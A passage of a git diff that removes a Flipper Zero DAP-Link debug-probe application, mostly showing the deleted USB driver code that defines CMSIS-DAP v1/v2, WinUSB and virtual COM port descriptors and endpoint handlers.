DapMainViewVersionUnknown, - DapMainViewVersionV1, - DapMainViewVersionV2, -} DapMainViewVersion; - -typedef enum { - DapMainViewModeDisconnected, - DapMainViewModeSWD, - DapMainViewModeJTAG, -} DapMainViewMode; - -DapMainView* dap_main_view_alloc(); - -void dap_main_view_free(DapMainView* dap_main_view); - -View* dap_main_view_get_view(DapMainView* dap_main_view); - -void dap_main_view_set_left_callback( - DapMainView* dap_main_view, - DapMainViewButtonCallback callback, - void* context); - -void dap_main_view_set_mode(DapMainView* dap_main_view, DapMainViewMode mode); - -void dap_main_view_set_version(DapMainView* dap_main_view, DapMainViewVersion version); - -void dap_main_view_set_dap(DapMainView* dap_main_view, bool active); - -void dap_main_view_set_tx(DapMainView* dap_main_view, bool active); - -void dap_main_view_set_rx(DapMainView* dap_main_view, bool active); - -void dap_main_view_set_usb_connected(DapMainView* dap_main_view, bool connected); - -void dap_main_view_set_baudrate(DapMainView* dap_main_view, uint32_t baudrate); - -void dap_main_view_update(DapMainView* dap_main_view); \ No newline at end of file diff --git a/applications/external/dap_link/icons/ArrowUpEmpty_12x18.png b/applications/external/dap_link/icons/ArrowUpEmpty_12x18.png deleted file mode 100644 index c9365a67d..000000000 Binary files a/applications/external/dap_link/icons/ArrowUpEmpty_12x18.png and /dev/null differ diff --git a/applications/external/dap_link/icons/ArrowUpFilled_12x18.png b/applications/external/dap_link/icons/ArrowUpFilled_12x18.png deleted file mode 100644 index dc481517e..000000000 Binary files a/applications/external/dap_link/icons/ArrowUpFilled_12x18.png and /dev/null differ diff --git a/applications/external/dap_link/lib/free-dap b/applications/external/dap_link/lib/free-dap deleted file mode 160000 index e7752beb5..000000000 --- a/applications/external/dap_link/lib/free-dap +++ /dev/null @@ -1 +0,0 @@ -Subproject commit e7752beb5e8a69119af67b70b9179cb3c90f3ac5 diff --git a/applications/external/dap_link/usb/dap_v2_usb.c b/applications/external/dap_link/usb/dap_v2_usb.c deleted file mode 100644 index cba786648..000000000 --- a/applications/external/dap_link/usb/dap_v2_usb.c +++ /dev/null @@ -1,977 +0,0 @@ -#include -#include -#include -#include -#include -#include - -#include "dap_v2_usb.h" - -// #define DAP_USB_LOG - -#define HID_EP_IN 0x80 -#define HID_EP_OUT 0x00 - -#define DAP_HID_EP_SEND 1 -#define DAP_HID_EP_RECV 2 -#define DAP_HID_EP_BULK_RECV 3 -#define DAP_HID_EP_BULK_SEND 4 -#define DAP_CDC_EP_COMM 5 -#define DAP_CDC_EP_SEND 6 -#define DAP_CDC_EP_RECV 7 - -#define DAP_HID_EP_IN (HID_EP_IN | DAP_HID_EP_SEND) -#define DAP_HID_EP_OUT (HID_EP_OUT | DAP_HID_EP_RECV) -#define DAP_HID_EP_BULK_IN (HID_EP_IN | DAP_HID_EP_BULK_SEND) -#define DAP_HID_EP_BULK_OUT (HID_EP_OUT | DAP_HID_EP_BULK_RECV) - -#define DAP_HID_EP_SIZE 64 -#define DAP_CDC_COMM_EP_SIZE 8 -#define DAP_CDC_EP_SIZE 64 - -#define DAP_BULK_INTERVAL 0 -#define DAP_HID_INTERVAL 1 -#define DAP_CDC_INTERVAL 0 -#define DAP_CDC_COMM_INTERVAL 1 - -#define DAP_HID_VID 0x0483 -#define DAP_HID_PID 0x5740 - -#define DAP_USB_EP0_SIZE 8 - -#define EP_CFG_DECONFIGURE 0 -#define EP_CFG_CONFIGURE 1 - -enum { - USB_INTF_HID, - USB_INTF_BULK, - USB_INTF_CDC_COMM, - USB_INTF_CDC_DATA, - USB_INTF_COUNT, -}; - -enum { - USB_STR_ZERO, - USB_STR_MANUFACTURER, - USB_STR_PRODUCT, - USB_STR_SERIAL_NUMBER, - USB_STR_CMSIS_DAP_V1, - USB_STR_CMSIS_DAP_V2, - USB_STR_COM_PORT, - USB_STR_COUNT, -}; - -// static const char* usb_str[] = { -// [USB_STR_MANUFACTURER] = "Flipper Devices Inc.", -// [USB_STR_PRODUCT] = "Combined VCP and CMSIS-DAP Adapter", -// [USB_STR_COM_PORT] = "Virtual COM-Port", -// [USB_STR_CMSIS_DAP_V1] = "CMSIS-DAP v1 Adapter", -// [USB_STR_CMSIS_DAP_V2] = "CMSIS-DAP v2 Adapter", -// [USB_STR_SERIAL_NUMBER] = "01234567890ABCDEF", -// }; - -static const struct usb_string_descriptor dev_manuf_descr = - USB_STRING_DESC("Flipper Devices Inc."); - -static const struct usb_string_descriptor dev_prod_descr = - USB_STRING_DESC("Combined VCP and CMSIS-DAP Adapter"); - -static struct usb_string_descriptor* dev_serial_descr = NULL; - -static const struct usb_string_descriptor dev_dap_v1_descr = - USB_STRING_DESC("CMSIS-DAP v1 Adapter"); - -static const struct usb_string_descriptor dev_dap_v2_descr = - USB_STRING_DESC("CMSIS-DAP v2 Adapter"); - -static const struct usb_string_descriptor dev_com_descr = USB_STRING_DESC("Virtual COM-Port"); - -struct HidConfigDescriptor { - struct usb_config_descriptor configuration; - - // CMSIS-DAP v1 - struct usb_interface_descriptor hid_interface; - struct usb_hid_descriptor hid; - struct usb_endpoint_descriptor hid_ep_in; - struct usb_endpoint_descriptor hid_ep_out; - - // CMSIS-DAP v2 - struct usb_interface_descriptor bulk_interface; - struct usb_endpoint_descriptor bulk_ep_out; - struct usb_endpoint_descriptor bulk_ep_in; - - // CDC - struct usb_iad_descriptor iad; - struct usb_interface_descriptor interface_comm; - struct usb_cdc_header_desc cdc_header; - struct usb_cdc_call_mgmt_desc cdc_acm; - struct usb_cdc_acm_desc cdc_call_mgmt; - struct usb_cdc_union_desc cdc_union; - struct usb_endpoint_descriptor ep_comm; - struct usb_interface_descriptor interface_data; - struct usb_endpoint_descriptor ep_in; - struct usb_endpoint_descriptor ep_out; - -} __attribute__((packed)); - -static const struct usb_device_descriptor hid_device_desc = { - .bLength = sizeof(struct usb_device_descriptor), - .bDescriptorType = USB_DTYPE_DEVICE, - .bcdUSB = VERSION_BCD(2, 1, 0), - .bDeviceClass = USB_CLASS_MISC, - .bDeviceSubClass = USB_SUBCLASS_IAD, - .bDeviceProtocol = USB_PROTO_IAD, - .bMaxPacketSize0 = DAP_USB_EP0_SIZE, - .idVendor = DAP_HID_VID, - .idProduct = DAP_HID_PID, - .bcdDevice = VERSION_BCD(1, 0, 0), - .iManufacturer = USB_STR_MANUFACTURER, - .iProduct = USB_STR_PRODUCT, - .iSerialNumber = USB_STR_SERIAL_NUMBER, - .bNumConfigurations = 1, -}; - -static const uint8_t hid_report_desc[] = { - 0x05, 0x01, // Usage Page (Generic Desktop Ctrls) - 0x09, 0x00, // Usage (Undefined) - 0xa1, 0x01, // Collection (Application) - 0x15, 0x00, // Logical Minimum (0) - 0x26, 0xff, 0x00, // Logical Maximum (255) - 0x75, 0x08, // Report Size (8) - 0x95, 0x40, // Report Count (64) - 0x09, 0x00, // Usage (Undefined) - 0x81, 0x82, // Input (Data,Var,Abs,No Wrap,Linear,Preferred State,No Null Position) - 0x75, 0x08, // Report Size (8) - 0x95, 0x40, // Report Count (64) - 0x09, 0x00, // Usage (Undefined) - 0x91, 0x82, // Output (Data,Var,Abs,No Wrap,Linear,Preferred State,No Null Position,Volatile) - 0xc0, // End Collection -}; - -static const struct HidConfigDescriptor hid_cfg_desc = { - .configuration = - { - .bLength = sizeof(struct usb_config_descriptor), - .bDescriptorType = USB_DTYPE_CONFIGURATION, - .wTotalLength = sizeof(struct HidConfigDescriptor), - .bNumInterfaces = USB_INTF_COUNT, - .bConfigurationValue = 1, - .iConfiguration = NO_DESCRIPTOR, - .bmAttributes = USB_CFG_ATTR_RESERVED, - .bMaxPower = USB_CFG_POWER_MA(500), - }, - - // CMSIS-DAP v1 - .hid_interface = - { - .bLength = sizeof(struct usb_interface_descriptor), - .bDescriptorType = USB_DTYPE_INTERFACE, - .bInterfaceNumber = USB_INTF_HID, - .bAlternateSetting = 0, - .bNumEndpoints = 2, - .bInterfaceClass = USB_CLASS_HID, - .bInterfaceSubClass = USB_HID_SUBCLASS_NONBOOT, - .bInterfaceProtocol = USB_HID_PROTO_NONBOOT, - .iInterface = USB_STR_CMSIS_DAP_V1, - }, - - .hid = - { - .bLength = sizeof(struct usb_hid_descriptor), - .bDescriptorType = USB_DTYPE_HID, - .bcdHID = VERSION_BCD(1, 1, 1), - .bCountryCode = USB_HID_COUNTRY_NONE, - .bNumDescriptors = 1, - .bDescriptorType0 = USB_DTYPE_HID_REPORT, - .wDescriptorLength0 = sizeof(hid_report_desc), - }, - - .hid_ep_in = - { - .bLength = sizeof(struct usb_endpoint_descriptor), - .bDescriptorType = USB_DTYPE_ENDPOINT, - .bEndpointAddress = DAP_HID_EP_IN, - .bmAttributes = USB_EPTYPE_INTERRUPT, - .wMaxPacketSize = DAP_HID_EP_SIZE, - .bInterval = DAP_HID_INTERVAL, - }, - - .hid_ep_out = - { - .bLength = sizeof(struct usb_endpoint_descriptor), - .bDescriptorType = USB_DTYPE_ENDPOINT, - .bEndpointAddress = DAP_HID_EP_OUT, - .bmAttributes = USB_EPTYPE_INTERRUPT, - .wMaxPacketSize = DAP_HID_EP_SIZE, - .bInterval = DAP_HID_INTERVAL, - }, - - // CMSIS-DAP v2 - .bulk_interface = - { - .bLength = sizeof(struct usb_interface_descriptor), - .bDescriptorType = USB_DTYPE_INTERFACE, - .bInterfaceNumber = USB_INTF_BULK, - .bAlternateSetting = 0, - .bNumEndpoints = 2, - .bInterfaceClass = USB_CLASS_VENDOR, - .bInterfaceSubClass = 0, - .bInterfaceProtocol = 0, - .iInterface = USB_STR_CMSIS_DAP_V2, - }, - - .bulk_ep_out = - { - .bLength = sizeof(struct usb_endpoint_descriptor), - .bDescriptorType = USB_DTYPE_ENDPOINT, - .bEndpointAddress = DAP_HID_EP_BULK_OUT, - .bmAttributes = USB_EPTYPE_BULK, - .wMaxPacketSize = DAP_HID_EP_SIZE, - .bInterval = DAP_BULK_INTERVAL, - }, - - .bulk_ep_in = - { - .bLength = sizeof(struct usb_endpoint_descriptor), - .bDescriptorType = USB_DTYPE_ENDPOINT, - .bEndpointAddress = DAP_HID_EP_BULK_IN, - .bmAttributes = USB_EPTYPE_BULK, - .wMaxPacketSize = DAP_HID_EP_SIZE, - .bInterval = DAP_BULK_INTERVAL, - }, - - // CDC - .iad = - { - .bLength = sizeof(struct usb_iad_descriptor), - .bDescriptorType = USB_DTYPE_INTERFASEASSOC, - .bFirstInterface = USB_INTF_CDC_COMM, - .bInterfaceCount = 2, - .bFunctionClass = USB_CLASS_CDC, - .bFunctionSubClass = USB_CDC_SUBCLASS_ACM, - .bFunctionProtocol = USB_PROTO_NONE, - .iFunction = USB_STR_COM_PORT, - }, - .interface_comm = - { - .bLength = sizeof(struct usb_interface_descriptor), - .bDescriptorType = USB_DTYPE_INTERFACE, - .bInterfaceNumber = USB_INTF_CDC_COMM, - .bAlternateSetting = 0, - .bNumEndpoints = 1, - .bInterfaceClass = USB_CLASS_CDC, - .bInterfaceSubClass = USB_CDC_SUBCLASS_ACM, - .bInterfaceProtocol = USB_PROTO_NONE, - .iInterface = 0, - }, - - .cdc_header = - { - .bFunctionLength = sizeof(struct usb_cdc_header_desc), - .bDescriptorType = USB_DTYPE_CS_INTERFACE, - .bDescriptorSubType = USB_DTYPE_CDC_HEADER, - .bcdCDC = VERSION_BCD(1, 1, 0), - }, - - .cdc_acm = - { - .bFunctionLength = sizeof(struct usb_cdc_call_mgmt_desc), - .bDescriptorType = USB_DTYPE_CS_INTERFACE, - .bDescriptorSubType = USB_DTYPE_CDC_CALL_MANAGEMENT, - // .bmCapabilities = USB_CDC_CAP_LINE | USB_CDC_CAP_BRK, - .bmCapabilities = 0, - }, - - .cdc_call_mgmt = - { - .bFunctionLength = sizeof(struct usb_cdc_acm_desc), - .bDescriptorType = USB_DTYPE_CS_INTERFACE, - .bDescriptorSubType = USB_DTYPE_CDC_ACM, - .bmCapabilities = USB_CDC_CALL_MGMT_CAP_DATA_INTF, - // .bDataInterface = USB_INTF_CDC_DATA, - }, - - .cdc_union = - { - .bFunctionLength = sizeof(struct usb_cdc_union_desc), - .bDescriptorType = USB_DTYPE_CS_INTERFACE, - .bDescriptorSubType = USB_DTYPE_CDC_UNION, - .bMasterInterface0 = USB_INTF_CDC_COMM, - .bSlaveInterface0 = USB_INTF_CDC_DATA, - }, - - .ep_comm = - { - .bLength = sizeof(struct usb_endpoint_descriptor), - .bDescriptorType = USB_DTYPE_ENDPOINT, - .bEndpointAddress = HID_EP_IN | DAP_CDC_EP_COMM, - .bmAttributes = USB_EPTYPE_INTERRUPT, - .wMaxPacketSize = DAP_CDC_COMM_EP_SIZE, - .bInterval = DAP_CDC_COMM_INTERVAL, - }, - - .interface_data = - { - .bLength = sizeof(struct usb_interface_descriptor), - .bDescriptorType = USB_DTYPE_INTERFACE, - .bInterfaceNumber = USB_INTF_CDC_DATA, - .bAlternateSetting = 0, - .bNumEndpoints = 2, - .bInterfaceClass = USB_CLASS_CDC_DATA, - .bInterfaceSubClass = USB_SUBCLASS_NONE, - .bInterfaceProtocol = USB_PROTO_NONE, - .iInterface = NO_DESCRIPTOR, - }, - - .ep_in = - { - .bLength = sizeof(struct usb_endpoint_descriptor), - .bDescriptorType = USB_DTYPE_ENDPOINT, - .bEndpointAddress = HID_EP_IN | DAP_CDC_EP_SEND, - .bmAttributes = USB_EPTYPE_BULK, - .wMaxPacketSize = DAP_CDC_EP_SIZE, - .bInterval = DAP_CDC_INTERVAL, - }, - - .ep_out = - { - .bLength = sizeof(struct usb_endpoint_descriptor), - .bDescriptorType = USB_DTYPE_ENDPOINT, - .bEndpointAddress = HID_EP_OUT | DAP_CDC_EP_RECV, - .bmAttributes = USB_EPTYPE_BULK, - .wMaxPacketSize = DAP_CDC_EP_SIZE, - .bInterval = DAP_CDC_INTERVAL, - }, -}; - -// WinUSB -#include "usb_winusb.h" - -typedef struct USB_PACK { - usb_binary_object_store_descriptor_t bos; - usb_winusb_capability_descriptor_t winusb; -} usb_bos_hierarchy_t; - -typedef struct USB_PACK { - usb_winusb_subset_header_function_t header; - usb_winusb_feature_compatble_id_t comp_id; - usb_winusb_feature_reg_property_guids_t property; -} usb_msos_descriptor_subset_t; - -typedef struct USB_PACK { - usb_winusb_set_header_descriptor_t header; - usb_msos_descriptor_subset_t subset; -} usb_msos_descriptor_set_t; - -#define USB_DTYPE_BINARY_OBJECT_STORE 15 -#define USB_DTYPE_DEVICE_CAPABILITY_DESCRIPTOR 16 -#define USB_DC_TYPE_PLATFORM 5 - -const usb_bos_hierarchy_t usb_bos_hierarchy = { - .bos = - { - .bLength = sizeof(usb_binary_object_store_descriptor_t), - .bDescriptorType = USB_DTYPE_BINARY_OBJECT_STORE, - .wTotalLength = sizeof(usb_bos_hierarchy_t), - .bNumDeviceCaps = 1, - }, - .winusb = - { - .bLength = sizeof(usb_winusb_capability_descriptor_t), - .bDescriptorType = USB_DTYPE_DEVICE_CAPABILITY_DESCRIPTOR, - .bDevCapabilityType = USB_DC_TYPE_PLATFORM, - .bReserved = 0, - .PlatformCapabilityUUID = USB_WINUSB_PLATFORM_CAPABILITY_ID, - .dwWindowsVersion = USB_WINUSB_WINDOWS_VERSION, - .wMSOSDescriptorSetTotalLength = sizeof(usb_msos_descriptor_set_t), - .bMS_VendorCode = USB_WINUSB_VENDOR_CODE, - .bAltEnumCode = 0, - }, -}; - -const usb_msos_descriptor_set_t usb_msos_descriptor_set = { - .header = - { - .wLength = sizeof(usb_winusb_set_header_descriptor_t), - .wDescriptorType = USB_WINUSB_SET_HEADER_DESCRIPTOR, - .dwWindowsVersion = USB_WINUSB_WINDOWS_VERSION, - .wDescriptorSetTotalLength = sizeof(usb_msos_descriptor_set_t), - }, - - .subset = - { - .header = - { - .wLength = sizeof(usb_winusb_subset_header_function_t), - .wDescriptorType = USB_WINUSB_SUBSET_HEADER_FUNCTION, - .bFirstInterface = USB_INTF_BULK, - .bReserved = 0, - .wSubsetLength = sizeof(usb_msos_descriptor_subset_t), - }, - - .comp_id = - { - .wLength = sizeof(usb_winusb_feature_compatble_id_t), - .wDescriptorType = USB_WINUSB_FEATURE_COMPATBLE_ID, - .CompatibleID = "WINUSB\0\0", - .SubCompatibleID = {0}, - }, - - .property = - { - .wLength = sizeof(usb_winusb_feature_reg_property_guids_t), - .wDescriptorType = USB_WINUSB_FEATURE_REG_PROPERTY, - .wPropertyDataType = USB_WINUSB_PROPERTY_DATA_TYPE_MULTI_SZ, - .wPropertyNameLength = - sizeof(usb_msos_descriptor_set.subset.property.PropertyName), - .PropertyName = {'D', 0, 'e', 0, 'v', 0, 'i', 0, 'c', 0, 'e', 0, 'I', 0, - 'n', 0, 't', 0, 'e', 0, 'r', 0, 'f', 0, 'a', 0, 'c', 0, - 'e', 0, 'G', 0, 'U', 0, 'I', 0, 'D', 0, 's', 0, 0, 0}, - .wPropertyDataLength = - sizeof(usb_msos_descriptor_set.subset.property.PropertyData), - .PropertyData = {'{', 0, 'C', 0, 'D', 0, 'B', 0, '3', 0, 'B', 0, '5', 0, - 'A', 0, 'D', 0, '-', 0, '2', 0, '9', 0, '3', 0, 'B', 0, - '-', 0, '4', 0, '6', 0, '6', 0, '3', 0, '-', 0, 'A', 0, - 'A', 0, '3', 0, '6', 0, '-', 0, '1', 0, 'A', 0, 'A', 0, - 'E', 0, '4', 0, '6', 0, '4', 0, '6', 0, '3', 0, '7', 0, - '7', 0, '6', 0, '}', 0, 0, 0, 0, 0}, - }, - }, -}; - -typedef struct { - FuriSemaphore* semaphore_v1; - FuriSemaphore* semaphore_v2; - FuriSemaphore* semaphore_cdc; - bool connected; - usbd_device* usb_dev; - DapStateCallback state_callback; - DapRxCallback rx_callback_v1; - DapRxCallback rx_callback_v2; - DapRxCallback rx_callback_cdc; - DapCDCControlLineCallback control_line_callback_cdc; - DapCDCConfigCallback config_callback_cdc; - void* context; - void* context_cdc; -} DAPState; - -static DAPState dap_state = { - .semaphore_v1 = NULL, - .semaphore_v2 = NULL, - .semaphore_cdc = NULL, - .connected = false, - .usb_dev = NULL, - .state_callback = NULL, - .rx_callback_v1 = NULL, - .rx_callback_v2 = NULL, - .rx_callback_cdc = NULL, - .control_line_callback_cdc = NULL, - .config_callback_cdc = NULL, - .context = NULL, - .context_cdc = NULL, -}; - -static struct usb_cdc_line_coding cdc_config = {0}; -static uint8_t cdc_ctrl_line_state = 0; - -#ifdef DAP_USB_LOG -void furi_console_log_printf(const char* format, ...) _ATTRIBUTE((__format__(__printf__, 1, 2))); - -void furi_console_log_printf(const char* format, ...) { - char buffer[256]; - va_list args; - va_start(args, format); - vsnprintf(buffer, sizeof(buffer), format, args); - va_end(args); - furi_hal_console_puts(buffer); - furi_hal_console_puts("\r\n"); - UNUSED(format); -} -#else -#define furi_console_log_printf(...) -#endif - -int32_t dap_v1_usb_tx(uint8_t* buffer, uint8_t size) { - if((dap_state.semaphore_v1 == NULL) || (dap_state.connected == false)) return 0; - - furi_check(furi_semaphore_acquire(dap_state.semaphore_v1, FuriWaitForever) == FuriStatusOk); - - if(dap_state.connected) { - int32_t len = usbd_ep_write(dap_state.usb_dev, DAP_HID_EP_IN, buffer, size); - furi_console_log_printf("v1 tx %ld", len); - return len; - } else { - return 0; - } -} - -int32_t dap_v2_usb_tx(uint8_t* buffer, uint8_t size) { - if((dap_state.semaphore_v2 == NULL) || (dap_state.connected == false)) return 0; - - furi_check(furi_semaphore_acquire(dap_state.semaphore_v2, FuriWaitForever) == FuriStatusOk); - - if(dap_state.connected) { - int32_t len = usbd_ep_write(dap_state.usb_dev, DAP_HID_EP_BULK_IN, buffer, size); - furi_console_log_printf("v2 tx %ld", len); - return len; - } else { - return 0; - } -} - -int32_t dap_cdc_usb_tx(uint8_t* buffer, uint8_t size) { - if((dap_state.semaphore_cdc == NULL) || (dap_state.connected == false)) return 0; - - furi_check(furi_semaphore_acquire(dap_state.semaphore_cdc, FuriWaitForever) == FuriStatusOk); - - if(dap_state.connected) { - int32_t len = usbd_ep_write(dap_state.usb_dev, HID_EP_IN | DAP_CDC_EP_SEND, buffer, size); - furi_console_log_printf("cdc tx %ld", len); - return len; - } else { - return 0; - } -} - -void dap_v1_usb_set_rx_callback(DapRxCallback callback) { - dap_state.rx_callback_v1 = callback; -} - -void dap_v2_usb_set_rx_callback(DapRxCallback callback) { - dap_state.rx_callback_v2 = callback; -} - -void dap_cdc_usb_set_rx_callback(DapRxCallback callback) { - dap_state.rx_callback_cdc = callback; -} - -void dap_cdc_usb_set_control_line_callback(DapCDCControlLineCallback callback) { - dap_state.control_line_callback_cdc = callback; -} - -void dap_cdc_usb_set_config_callback(DapCDCConfigCallback callback) { - dap_state.config_callback_cdc = callback; -} - -void dap_cdc_usb_set_context(void* context) { - dap_state.context_cdc = context; -} - -void dap_common_usb_set_context(void* context) { - dap_state.context = context; -} - -void dap_common_usb_set_state_callback(DapStateCallback callback) { - dap_state.state_callback = callback; -} - -static void* dap_usb_alloc_string_descr(const char* str) { - furi_assert(str); - - size_t len = strlen(str); - size_t wlen = (len + 1) * sizeof(uint16_t); - struct usb_string_descriptor* dev_str_desc = malloc(wlen); - dev_str_desc->bLength = wlen; - dev_str_desc->bDescriptorType = USB_DTYPE_STRING; - for(size_t i = 0; i < len; i++) { - dev_str_desc->wString[i] = str[i]; - } - - return dev_str_desc; -} - -void dap_common_usb_alloc_name(const char* name) { - dev_serial_descr = dap_usb_alloc_string_descr(name); -} - -void dap_common_usb_free_name() { - free(dev_serial_descr); -} - -static void hid_init(usbd_device* dev, FuriHalUsbInterface* intf, void* ctx); -static void hid_deinit(usbd_device* dev); -static void hid_on_wakeup(usbd_device* dev); -static void hid_on_suspend(usbd_device* dev); - -static usbd_respond hid_ep_config(usbd_device* dev, uint8_t cfg); -static usbd_respond hid_control(usbd_device* dev, usbd_ctlreq* req, usbd_rqc_callback* callback); - -FuriHalUsbInterface dap_v2_usb_hid = { - .init = hid_init, - .deinit = hid_deinit, - .wakeup = hid_on_wakeup, - .suspend = hid_on_suspend, - .dev_descr = (struct usb_device_descriptor*)&hid_device_desc, - .cfg_descr = (void*)&hid_cfg_desc, -}; - -static void hid_init(usbd_device* dev, FuriHalUsbInterface* intf, void* ctx) { - UNUSED(intf); - UNUSED(ctx); - - dap_v2_usb_hid.str_manuf_descr = (void*)&dev_manuf_descr; - dap_v2_usb_hid.str_prod_descr = (void*)&dev_prod_descr; - dap_v2_usb_hid.str_serial_descr = (void*)dev_serial_descr; - - dap_state.usb_dev = dev; - if(dap_state.semaphore_v1 == NULL) dap_state.semaphore_v1 = furi_semaphore_alloc(1, 1); - if(dap_state.semaphore_v2 == NULL) dap_state.semaphore_v2 = furi_semaphore_alloc(1, 1); - if(dap_state.semaphore_cdc == NULL) dap_state.semaphore_cdc = furi_semaphore_alloc(1, 1); - - usbd_reg_config(dev, hid_ep_config); - usbd_reg_control(dev, hid_control); - - usbd_connect(dev, true); -} - -static void hid_deinit(usbd_device* dev) { - dap_state.usb_dev = NULL; - - furi_semaphore_free(dap_state.semaphore_v1); - furi_semaphore_free(dap_state.semaphore_v2); - furi_semaphore_free(dap_state.semaphore_cdc); - dap_state.semaphore_v1 = NULL; - dap_state.semaphore_v2 = NULL; - dap_state.semaphore_cdc = NULL; - - usbd_reg_config(dev, NULL); - usbd_reg_control(dev, NULL); -} - -static void hid_on_wakeup(usbd_device* dev) { - UNUSED(dev); - if(!dap_state.connected) { - dap_state.connected = true; - if(dap_state.state_callback != NULL) { - dap_state.state_callback(dap_state.connected, dap_state.context); - } - } -} - -static void hid_on_suspend(usbd_device* dev) { - UNUSED(dev); - if(dap_state.connected) { - dap_state.connected = false; - if(dap_state.state_callback != NULL) { - dap_state.state_callback(dap_state.connected, dap_state.context); - } - } -} - -size_t dap_v1_usb_rx(uint8_t* buffer, size_t size) { - size_t len = 0; - - if(dap_state.connected) { - len = usbd_ep_read(dap_state.usb_dev, DAP_HID_EP_OUT, buffer, size); - } - - return len; -} - -size_t dap_v2_usb_rx(uint8_t* buffer, size_t size) { - size_t len = 0; - - if(dap_state.connected) { - len = usbd_ep_read(dap_state.usb_dev, DAP_HID_EP_BULK_OUT, buffer, size); - } - - return len; -} - -size_t dap_cdc_usb_rx(uint8_t* buffer, size_t size) { - size_t len = 0; - - if(dap_state.connected) { - len = usbd_ep_read(dap_state.usb_dev, HID_EP_OUT | DAP_CDC_EP_RECV, buffer, size); - } - - return len; -} - -static void hid_txrx_ep_callback(usbd_device* dev, uint8_t event, uint8_t ep) { - UNUSED(dev); - UNUSED(ep); - - switch(event) { - case usbd_evt_eptx: - furi_semaphore_release(dap_state.semaphore_v1); - furi_console_log_printf("hid tx complete"); - break; - case usbd_evt_eprx: - if(dap_state.rx_callback_v1 != NULL) { - dap_state.rx_callback_v1(dap_state.context); - } - break; - default: - furi_console_log_printf("hid %d, %d", event, ep); - break; - } -} - -static void hid_txrx_ep_bulk_callback(usbd_device* dev, uint8_t event, uint8_t ep) { - UNUSED(dev); - UNUSED(ep); - - switch(event) { - case usbd_evt_eptx: - furi_semaphore_release(dap_state.semaphore_v2); - furi_console_log_printf("bulk tx complete"); - break; - case usbd_evt_eprx: - if(dap_state.rx_callback_v2 != NULL) { - dap_state.rx_callback_v2(dap_state.context); - } - break; - default: - furi_console_log_printf("bulk %d, %d", event, ep); - break; - } -} - -static void cdc_txrx_ep_callback(usbd_device* dev, uint8_t event, uint8_t ep) { - UNUSED(dev); - UNUSED(ep); - - switch(event) { - case usbd_evt_eptx: - furi_semaphore_release(dap_state.semaphore_cdc); - furi_console_log_printf("cdc tx complete"); - break; - case usbd_evt_eprx: - if(dap_state.rx_callback_cdc != NULL) { - dap_state.rx_callback_cdc(dap_state.context_cdc); - } - break; - default: - furi_console_log_printf("cdc %d, %d", event, ep); - break; - } -} - -static usbd_respond hid_ep_config(usbd_device* dev, uint8_t cfg) { - switch(cfg) { - case EP_CFG_DECONFIGURE: - usbd_ep_deconfig(dev, DAP_HID_EP_OUT); - usbd_ep_deconfig(dev, DAP_HID_EP_IN); - usbd_ep_deconfig(dev, DAP_HID_EP_BULK_IN); - usbd_ep_deconfig(dev, DAP_HID_EP_BULK_OUT); - usbd_ep_deconfig(dev, HID_EP_IN | DAP_CDC_EP_COMM); - usbd_ep_deconfig(dev, HID_EP_IN | DAP_CDC_EP_SEND); - usbd_ep_deconfig(dev, HID_EP_OUT | DAP_CDC_EP_RECV); - usbd_reg_endpoint(dev, DAP_HID_EP_OUT, NULL); - usbd_reg_endpoint(dev, DAP_HID_EP_IN, NULL); - usbd_reg_endpoint(dev, DAP_HID_EP_BULK_IN, NULL); - usbd_reg_endpoint(dev, DAP_HID_EP_BULK_OUT, NULL); - usbd_reg_endpoint(dev, HID_EP_IN | DAP_CDC_EP_SEND, 0); - usbd_reg_endpoint(dev, HID_EP_OUT | DAP_CDC_EP_RECV, 0); - return usbd_ack; - case EP_CFG_CONFIGURE: - usbd_ep_config(dev, DAP_HID_EP_IN, USB_EPTYPE_INTERRUPT, DAP_HID_EP_SIZE); - usbd_ep_config(dev, DAP_HID_EP_OUT, USB_EPTYPE_INTERRUPT, DAP_HID_EP_SIZE); - usbd_ep_config(dev, DAP_HID_EP_BULK_OUT, USB_EPTYPE_BULK, DAP_HID_EP_SIZE); - usbd_ep_config(dev, DAP_HID_EP_BULK_IN, USB_EPTYPE_BULK, DAP_HID_EP_SIZE); - usbd_ep_config(dev, HID_EP_OUT | DAP_CDC_EP_RECV, USB_EPTYPE_BULK, DAP_CDC_EP_SIZE); - usbd_ep_config(dev, HID_EP_IN | DAP_CDC_EP_SEND, USB_EPTYPE_BULK, DAP_CDC_EP_SIZE); - usbd_ep_config(dev, HID_EP_IN | DAP_CDC_EP_COMM, USB_EPTYPE_INTERRUPT, DAP_CDC_EP_SIZE); - usbd_reg_endpoint(dev, DAP_HID_EP_IN, hid_txrx_ep_callback); - usbd_reg_endpoint(dev, DAP_HID_EP_OUT, hid_txrx_ep_callback); - usbd_reg_endpoint(dev, DAP_HID_EP_BULK_OUT, hid_txrx_ep_bulk_callback); - usbd_reg_endpoint(dev, DAP_HID_EP_BULK_IN, hid_txrx_ep_bulk_callback); - usbd_reg_endpoint(dev, HID_EP_OUT | DAP_CDC_EP_RECV, cdc_txrx_ep_callback); - usbd_reg_endpoint(dev, HID_EP_IN | DAP_CDC_EP_SEND, cdc_txrx_ep_callback); - // usbd_ep_write(dev, DAP_HID_EP_IN, NULL, 0); - // usbd_ep_write(dev, DAP_HID_EP_BULK_IN, NULL, 0); - // usbd_ep_write(dev, HID_EP_IN | DAP_CDC_EP_SEND, NULL, 0); - return usbd_ack; - default: - return usbd_fail; - } -} - -#ifdef DAP_USB_LOG -static void dump_request_type(uint8_t type) { - switch(type & USB_REQ_DIRECTION) { - case USB_REQ_HOSTTODEV: - furi_hal_console_puts("host to dev, "); - break; - case USB_REQ_DEVTOHOST: - furi_hal_console_puts("dev to host, "); - break; - } - - switch(type & USB_REQ_TYPE) { - case USB_REQ_STANDARD: - furi_hal_console_puts("standard, "); - break; - case USB_REQ_CLASS: - furi_hal_console_puts("class, "); - break; - case USB_REQ_VENDOR: - furi_hal_console_puts("vendor, "); - break; - } - - switch(type & USB_REQ_RECIPIENT) { - case USB_REQ_DEVICE: - furi_hal_console_puts("device"); - break; - case USB_REQ_INTERFACE: - furi_hal_console_puts("interface"); - break; - case USB_REQ_ENDPOINT: - furi_hal_console_puts("endpoint"); - break; - case USB_REQ_OTHER: - furi_hal_console_puts("other"); - break; - } - - furi_hal_console_puts("\r\n"); -} -#else -#define dump_request_type(...) -#endif - -static usbd_respond hid_control(usbd_device* dev, usbd_ctlreq* req, usbd_rqc_callback* callback) { - UNUSED(callback); - - dump_request_type(req->bmRequestType); - furi_console_log_printf( - "control: RT %02x, R %02x, V %04x, I %04x, L %04x", - 